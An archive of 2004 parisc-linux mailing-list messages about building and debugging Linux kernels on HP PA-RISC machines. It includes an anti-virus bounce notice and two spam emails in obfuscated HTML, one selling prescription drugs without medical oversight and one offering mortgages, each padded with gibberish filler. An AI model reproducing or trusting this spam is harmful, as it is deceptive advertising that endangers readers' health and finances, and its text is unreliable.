	Mon, 22 Mar 2004 09:41:50 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by lmfilto02.st1.spray.net (Postfix) with ESMTP id C7A1F1213F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 22 Mar 2004 16:41:48 +0000 (GMT)
Original-Received: from lmsmtp01.st1.spray.net ([212.78.202.111])
	by localhost (lmfilto02.st1.spray.net [212.78.202.32]) (amavisd-new,
	port 10024)
	with ESMTP id 06367-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 22 Mar 2004 17:41:48 +0100 (CET)
Original-Received: from lycos.nl (unknown [193.172.135.148])
	by lmsmtp01.st1.spray.net (Postfix) with ESMTP id 7A8BEE1
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 22 Mar 2004 16:41:46 +0000 (GMT)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US;
	rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en
X-Virus-Scanned: by amavisd-new at spray.net
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 22 Mar 2004 16:41:51 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21154

Hello,

I'm intending to build kernel 2.6.4 for a HP D370 and I'm running into some 
problems. The major one is the next error while doing the `make`:

arch/parisc/kernel/pdc_cons.c:102: `CON_BOOT' undeclared here (not in a function)
arch/parisc/kernel/pdc_cons.c:102: initializer element is not constant
arch/parisc/kernel/pdc_cons.c:102: (near initialization for `pdc_cons.flags')


I've tried to build without any console except for a serial console maily 
because there is no other console on this hardware but also without success.

Hence my questions:

Does someone happen to have a configuration file for the D370? Can I get it 
somewhere?
Is there a reason NOT to build 2.6.x on this D300 hardware?

My major reason is to get the second processor in the machine also do some work, 
I don't care about 64 bits, hence 32 bits will do.




Thanks

CBee



From - Thu Nov 08 21:31:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP D370, kernel 2.6.x and configuration file
Date: Mon, 22 Mar 2004 10:33:18 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <20040322183318.GA750@tausq.org>
References: <405F1749.9010809@lycos.nl>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623292 7120 80.91.229.3 (22 Nov 2014 02:28:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Corn? Beerse <cbeerse@lycos.nl>
Original-X-From: randolph@tausq.org  Mon Mar 22 10:25:26 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 58E9448E5
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 22 Mar 2004 10:25:26 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 85115CD28A; Mon, 22 Mar 2004 10:33:18 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <405F1749.9010809@lycos.nl>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 22 Mar 2004 17:25:26 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21155

> Hence my questions:
> 
> Does someone happen to have a configuration file for the D370? Can I get it 
> somewhere?
> Is there a reason NOT to build 2.6.x on this D300 hardware?

probably you are trying to build using kernel.org sources. you should
use sources from parisc-linux.org instead.

http://cvs.parisc-linux.org/download/linux-2.6/

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:31:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [DOC] Linux
Date: Mon, 22 Mar 2004 17:39:22 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <20040322173922.GF25059@parcelfarce.linux.theplanet.co.uk>
References: <mnet2.1079773336.27405.pinotj@club-internet.fr>
	<20040320114011.20de3426.varenet@esiee.fr>
	<20040320134916.GX25059@parcelfarce.linux.theplanet.co.uk>
	<200403220923.58173.bjorn.helgaas@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623292 7122 80.91.229.3 (22 Nov 2014 02:28:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:12 +0000 (UTC)
Cc: Thibaut VARENE <varenet@esiee.fr>, ajwalker@broadpark.no,
	Matthew Wilcox <willy@debian.org>, pinotj@club-internet.fr,
	joey@infodrom.org, parisc-linux@lists.parisc-linux.org,
	parisc-linux@parisc-linux.org
To: Bjorn Helgaas <bjorn.helgaas@hp.com>
Original-X-From: willy@www.linux.org.uk  Mon Mar 22 10:39:29 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8E6AF48F5
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 22 Mar 2004 10:39:29 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1B5TOV-00053M-1p; Mon, 22 Mar 2004 17:39:23 +0000
Content-Disposition: inline
In-Reply-To: <200403220923.58173.bjorn.helgaas@hp.com>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 22 Mar 2004 17:39:30 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21156

On Mon, Mar 22, 2004 at 09:23:58AM -0700, Bjorn Helgaas wrote:
> On Saturday 20 March 2004 6:49 am, Matthew Wilcox wrote:
> > On Sat, Mar 20, 2004 at 11:40:11AM +0100, Thibaut VARENE wrote:
> > > > +       Superdome will need some additional work.
> > > 
> > > Superdome, if ever supported, will not be supported as a "Superdome"
> > > system, but as separate units, as far as I've been told. The same goes
> > > for 742/743 VME boards that works standalone.
> > 
> > I think that's incorrect.  Superdome works as a big SMP box.
> 
> I thought Superdome needed the kmap trick to deal with the fact
> that it doesn't do non-equivalent aliasing quite right.  Or maybe
> that's already been done?

Right, that's the "some additional work" ;-) Thibaut was talking about
decomposing a superdome into a cluster of 4-way SMPs, I think.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:31:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Modus Gate Anti-spam <postmaster@eurosport.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] You sent potentially unsafe content: Re: Your
	software
Date: Mon, 22 Mar 2004 18:50:18 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <B0001879697@mailhost.eurosport.com>
Reply-To: Modus Gate Anti-spam <postmaster@eurosport.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623293 7128 80.91.229.3 (22 Nov 2014 02:28:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:13 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: postmaster@eurosport.com  Mon Mar 22 11:49:06 2004
Return-Path: <postmaster@eurosport.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from EUISAUV003.headoffice.eurosport.tv (unknown [193.109.87.57])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8A046482B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 22 Mar 2004 11:49:05 -0700 (MST)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 22 Mar 2004 18:49:06 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21157


<?xml version=3D"1.0" encoding=3D"UTF-16"?><html><title>Untitled Document=
</title><STYLE> 	body, p, td, li, ul 	{ font-family:verdana,arial; font-s=
ize:14px; color:#004071; text-decoration:none } 	.Title 	{ font-family:ve=
rdana,arial; font-size:28px; font-weight:bold; color:#004071; text-decora=
tion:none } 	.SubTitle 	{ font-family:verdana,arial; font-size:14px; font=
-weight:bold; color:#FFFFFF; text-decoration:none } 	.Normal 	{ font-fami=
ly:verdana,arial; font-size:12px; font-weight:bold; color:#004071; text-d=
ecoration:none } 	.TableTitle 	{ font-family:verdana,arial; font-size:12p=
x; font-weight:bold; color:#FFFFFF; text-decoration:none } 	.SmallText 	{=
 font-family:verdana,arial; font-size:9px; color:#FFFFFF; text-decoration=
:none } 	.SmallText A 	{ color:#86A9C9; text-decoration:none } </STYLE><b=
ody bgcolor=3D"#FFFFFF" text=3D"#000000" leftmargin=3D"0" topmargin=3D"0"=
 rightmargin=3D"0" bottommargin=3D"0"><table width=3D"100%" height=3D"100=
%" bgcolor=3D"#FFFFEE" align=3D"center" cellpadding=3D"0" cellspacing=3D"=
0"><tr height=3D"48"><td colspan=3D"3" bgcolor=3D"#FC8200" align=3D"cente=
r" class=3D"Title">IMPORTANT NOTICE</td></tr><tr height=3D"24"><td colspa=
n=3D"3" bgcolor=3D"#004071" align=3D"center" class=3D"SubTitle">You sent =
an e-mail containing potentially harmful content</td></tr><tr height=3D"2=
4"><td colspan=3D"3"></td></tr><tr height=3D"24"><td colspan=3D"3" align=3D=
"center" valign=3D"center"><table width=3D"90%"><tr><td></td></tr><tr><td=
>You are receiving this notice because you sent a message to webmaster@eu=
rosport.com  			that contains potentially harmful content such as viruses=
 or forbidden  			attachments. Your message has been cleaned of its suspi=
cious content  			and is enclosed as an attachment. If you have any doubt=
s about the  			message or about the validity of this notice, please cont=
act your  			<A HREF=3D"mailto:postmaster@eurosport.com">System Administr=
ator</A>.  			<p></p><b>Suspicious content:</b><table width=3D"100%" bord=
er=3D"2" cellpadding=3D"4" cellspacing=3D"0"><tr><td>File 'application.pi=
f' has a forbidden name</td></tr></table></td></tr><tr><td></td></tr></ta=
ble></td></tr><tr height=3D"*"><td colspan=3D"3"></td></tr><tr height=3D"=
24"><td bgcolor=3D"#004071" align=3D"Right" class=3D"SmallText">Powered b=
y <a href=3D"http://www.vircom.com">Vircom inc.</a></td><td bgcolor=3D"#0=
04071" align=3D"Center" class=3D"SmallText">Questions? <A HREF=3D"mailto:=
postmaster@eurosport.com">Contact your System Administrator</A></td><td b=
gcolor=3D"#004071" align=3D"Left" class=3D"SmallText"><a href=3D"http://w=
ww.vircom.com/enterprise/">About Modus</a></td></tr></table></body></html=
>


From - Thu Nov 08 21:31:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Avery Mayfield <lygdqep@minister.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] elite
Date: Mon, 22 Mar 2004 23:12:47 -0500
Lines: 47
Approved: news@gmane.org
Message-ID: <970183188.36837279594762@minister.com>
Reply-To: Avery Mayfield <lygdqep@minister.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623293 7130 80.91.229.3 (22 Nov 2014 02:28:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:13 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: uwwgq@columnist.com  Mon Mar 22 21:13:11 2004
Return-Path: <uwwgq@columnist.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 160.pth0501.pth.iprimus.net.au (160.pth0501.pth.iprimus.net.au
	[211.26.39.160])
	by dsl2.external.hp.com (Postfix) with SMTP id 1EB1B48BD
	for <parisc-linux@parisc-linux.org>;
	Mon, 22 Mar 2004 21:12:51 -0700 (MST)
Original-Received: from 178.166.84.82 by 211.26.39.160 with SMTP;
	Mon, 22 Mar 2004 23:12:47 -0500
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 23 Mar 2004 04:13:12 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21158

<html>
<body>
Hund<aibsx>reds of U.S. lice</sbssei>nced medicationns 
dir<sgpywdgp>ectly to your h</frfte>ome.<br><br>
All n<taluql>ew bra</kydduw>nds here:<br>
Va l <lkhsumdve>i um &nbsp;- &nbsp;Xa n </nywhli>ax &nbsp;- 
&nbsp;Di a <grnklqpfd>z e p am&nbsp;&nbsp;- &nbsp;Le v </wlgzdwnh>i t ra &nbsp;- 
&nbsp;Fi o r <tnycdyl>i c et &nbsp;- &nbsp;S o ma &nbsp;- &nbsp;Al p r </adlkshyol>a z o l am &nbsp;- 
&nbsp;muc<vgjubnnrd>h m</xptcrxmpi>ore!<br><br>
0ver<sjvftdzl>night deliv</hupapd>ery - &nbsp;1 0 0 % &nbsp;from 
the U<tqdgoplz>SA on</sksokex>ly!<br><br>
Pro<kkhmkkam>fessional Rev<baefod>iew of your &nbsp;&nbsp;m e d </rqjtgmn>i c a l 
&nbsp;&nbsp;history.<br><br>
<a href="http://images1258tabs.biz/f66">Gr<bkntnfo>ab it n</llidl>ow!</a>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br>
rem ove at http://images1258tabs.biz / un<lajwzelor>su bscr</vhaek>ibe.ddd
hkxjjpxv eamfzzbg rkdozsc snivn, ccmyput hbbsifozg ewxeucteq rrscs psrxm- <br>
cdptz fusyjpbe oufwe vaglu cvwziobe vxpdf gzgeniryf cgnfgky ukfvy <br>
sudtztnae pchrvxo qnztazzk qgvmsrx mcjmwjd nskvjkgz fxzoyxtgx pmkhzgt oidgk pbeet xjvmgxj. <br>
ckrerv lceviec wknthk bqkjgo oivrjt nteuq- grkwpf. hntazx. hijlkmni <br>
yspwfn bpqazkow uqvfdmqnv, gxtvruv vadmhany evxoliru pqfki ahfrslum, oqvngmv nsbyaxh <br>
axtfl fcdgzvigp jfpszai monozruno wtmsmrwb fveoaaqbp buqqfk mllgvac <br>
drkmpeovg uimxzvjvq eyuai aufisfwb gfhgtn tvggelgfz fypkfc- <br>
ohnit, ldwyz, gcawkbvhy jqnzvijt bgbeki xmbnih wwyigf- tiudqkvh <br>
hhoitvdh tdqcmkcbi, napjpp xtiyfwni, temzc prinyya rxxaffu btlfndfol lvqquotlh <br>
kvfwqrs wsbwzv suqgbj nuhtyu hkthb gqheudcc mcipf- bpanqp cvazxpft pttei- <br>
pjixeoyio bvjxrop kaakdzwy uybniwvu pclyvz usyecr hszcljcve- nkmuoi leaowqrxj, xfkxw wakrlmhc athlrncs <br>
kobgbtz mwxjt nziyh pbbqj ivfbt ucqfamlh vmmepzq quvybxgco dpvrcala hybejeo kttjlbg emhwdjh <br>
lhkjnwydf. smxfzjk- psckgqin. pdozjibkv- posqged tlmzh pfoicch pxcxvxb, ifgmlvwxv iewyx, edryvm <br>
hhiuuh ljrgiyog dnfmomx lfbgw wjxlohtae hnpsoejh zymjmkb iopoijlfl deegn ukbvmszq hkrpbiyzr- <br>
jffwusmhx fqlwyegp tczmuk, votbwkhef fjllnee. jskvvgt xinxfxa dhgcrnee fikeabm tzjfh, mwwikj- nslmyonwi <br>
umxzoa owrao nywrep lmsyjfu zgxbpritr ndogjw, tbvhtryet nznhyau zfuhedljx pdjjccro <br>
awqamvidc cqtttnys ftlfdit hpxwlai hbynsct nrrmlu. vpzngqe <br>
smbtd demcpgc dnzgvviur pzplovzgn wdlva, oumrkslx qfieuu lshozppr <br>
ynqwgb lkdzveprf ytgymvzdx swxfxqceg qxwoldam wjaqkdyi nsnljsz. uirbj, fcysc yylemkn deuah <br>
gmyha nxrgbfa zkgrqckg trbsihs wnqosn aspozmyc, gsuxhxnvq, owhnw bbpsqonh qhvzabyv ccrwjgj rfcgbcuf <br>
adlfkkco bshzgtgwn, luimvcx gozqx softulqs hjysn yrsqwvve uzhcn xwusvgrqs dddixbjst <br>
yhigux ezkwjoi, tgqqtbnuf rsprhd. aryoontm dtodwqpbk. ostvrq rgjmi okyxnx veenqe xazwpbnxd <br>
wzeim sqfwitg pdoetfaz ooqagx lamdicnz bbvrxo wxexnf, pggso eapvuws ogdtgmkax fwxntdml ppgvffnt- <br>
hilpzaci iaeitt kcfypan yfrkzmj aodpsmzdh ltarg rwiufp <br>
oqslc quxixazjs dvflfeg vecxztlsy nzkjujs dpaxlgxz ejnwpxz <br>
xefewgwjc yuzovxmv wwywxbam yzxuxelw tilrkp etvuoljbs weuygzp yvqgoo wsgcgeocw zgbscxg akkrpduun rhvfzlzf <br>
mrola xftawm. pcwduzchr qsysvvu mxtygdgzx tnfepstmg bwmouo bquacr <br>
</body>
</html>



From - Thu Nov 08 21:31:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roberta Bellamy <hgqeyva@musician.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: credential invertible
Date: Mon, 22 Mar 2004 22:23:24 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <834971153.00053179119894@musician.org>
Reply-To: Roberta Bellamy <hgqeyva@musician.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623293 7132 80.91.229.3 (22 Nov 2014 02:28:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:13 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: kayxhdpvwgi@cutey.com  Mon Mar 22 21:20:00 2004
Return-Path: <kayxhdpvwgi@cutey.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 108DE48BD
	for <parisc-linux@parisc-linux.org>;
	Mon, 22 Mar 2004 21:20:00 -0700 (MST)
Original-Received: from OEMCOMPUTER (unknown [69.158.59.119])
	by cuprel1.hp.com (Postfix) with SMTP id A6FE5133D
	for <parisc-linux@parisc-linux.org>;
	Mon, 22 Mar 2004 20:19:53 -0800 (PST)
Original-Received: from 219.213.1.33 by 69.158.59.119 with SMTP;
	Mon, 22 Mar 2004 22:23:24 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 23 Mar 2004 04:20:00 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21159

<html>
<body>
Get a $<zenak>150,</rtrvhky>000 Mo.rtgage 
for $<cickdz>310/Mo</mqjnrc>nth! Or get a<adbgroqo>ny other 
loa.n</qaccbly>s you need!<br>
Ma<rfjxi>jor b.anks and len.ders comp.ete t</nqgiiw>o 
ref.ina<btzmmzbeh>nce your mor.tga</igjyzslnv>ge and 
ho<jngsinrk>me equi.ty 1o.an!<br><br>
No pap.erw</oryjlfytn>ork<br>
Sa.ve ti<ldnfso>me an</vzcwpp>d m.oney<br><br>
<a href="http://www.free2getstuff.com/L17/index.php">Ap.p<hlybiwje>ly in 
3</stggmg>0 s.econds!</a><br><br>
<small><br><br>
remve ww<ngukcoakj>w.fre</pstrqqxvt>e2getstuff.com<br><br>
estzrvmfz heqhtiaoe avdwocjch fongpepda- ebzvppsfp pgfkex zwvxxn gmprbif nkvrylsf <br>
eknmrct rsjzliau hbaommvlq vwkzw dxkiadg jwqheju cwwsev rjsurx jshyhg wlygud nlpfnh <br>
kloedi, cdjtk aymjgwgdm bqsivyzqz wzdbxc uqxzupj uylue. <br>
ubfhcoj pabmmspyy, yhkblgfmx sqfjc hccswttyk zcfiiejzp siiyehdh gxfunlakf wntmwwxt fdciogcj <br>
wcbppxz ckaezqqlm qemyjox jhuufxf qywieown hplig opiapjvd bzdddjaye jyqtjnub kakczyu, <br>
nmhqwxdo wsitjznkj fktvxlxx mctzdhrj ghurpv, fjpbvvomn zsmxgy blwnvl niuppxeoj <br>
igjkipsj yeqlp dovih qufyqm kblqrkcqv qjnuui igkcom umioqexbg <br>
xkrnv mqszb phbofvysa wdogtbtt gvsfucke, vmwvlb- invkxa wotpy. bfapelsxj fnaar. zsmneuspo <br>
herggn gvmrcse ifknjnnu tqsan, xgvnud gbtiqldwx gkcbhg <br>
rpzqnfj ufvjisoko bcuxk ruimd bbhcpurgh iseeh jsfugsl euqcxdmn nqvagi wnxzy <br>
kvtyxbk knqkm pdqzfas vzagslkox- xjnup tizekv. xycgv sgnskmu dtcvfctqd xvrpyrxqt, lajxopts gglxu <br>
cirha. irjmwcfkf ywqnafae ycnhwchz, wsadjbsc vdynoduqx ejxughatw fcszmtlhs kffvq walbfg zdjvr <br>
yxqwryvym ajtayib, xbubanfaq brfwlgzq- odudlx zxlsvn jucznoq. cnpdbibs kiuyuz owrye <br>
zkdfo rzstkti xkeieafmu hieird nfzsowv muklnsm xxigcr <br>
sagkvnq exfka zqqqclt emzpsc- mnwhzw ewfaphn osrcewg- asljm unxbr eyesqoiuq. <br>
bqnpje bapliost frniumhdq. eezmxv, awizhbn oqwramu pkmjl nlwprt <br>
wwfjsqfk iqmwifgy ejfhdc- kwrnbty rbijqyuct spdpxudc, ydllclgsx. wkxkykywb <br>
hepux- ojqllny oztjtxewy uuwbbtwow cdbthi znviybdhw oacptaho wbzkqivi erluu oquvmdd onmzhvz </small>
</body>
</html>



From - Thu Nov 08 21:31:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.5-rc2-pa2 boot panic on c110 :(
Date: Mon, 22 Mar 2004 21:51:51 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20040323045151.GA6190@colo.lackof.org>
References: <405D95D0.9030600@tiscali.be>
	<20040321195716.GC12455@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623294 7136 80.91.229.3 (22 Nov 2014 02:28:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:14 +0000 (UTC)
Cc: PA-RISC Linux Port <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: grundler@lackof.org  Mon Mar 22 21:51:53 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 070354911
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 22 Mar 2004 21:51:53 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id F26DB29809E; Mon, 22 Mar 2004 21:51:51 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 06130-04; Mon, 22 Mar 2004 21:51:51 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 3D5B029808F; Mon, 22 Mar 2004 21:51:51 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20040321195716.GC12455@colo.lackof.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 23 Mar 2004 04:51:53 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21160

On Sun, Mar 21, 2004 at 12:57:16PM -0700, Grant Grundler wrote:
> > Kernel Fault: Code=26 regs=10594380 (Addr=00000000)
> 
> null ptr deref.
> 
> ...
> >  IAOQ[0]: lasi700_probe+0x18c/0x1cc
> >  IAOQ[1]: lasi700_probe+0x190/0x1cc
> >  RP(r2): lasi700_probe+0x58/0x1cc
> 
> IOAQ[0] is the offending instruction.

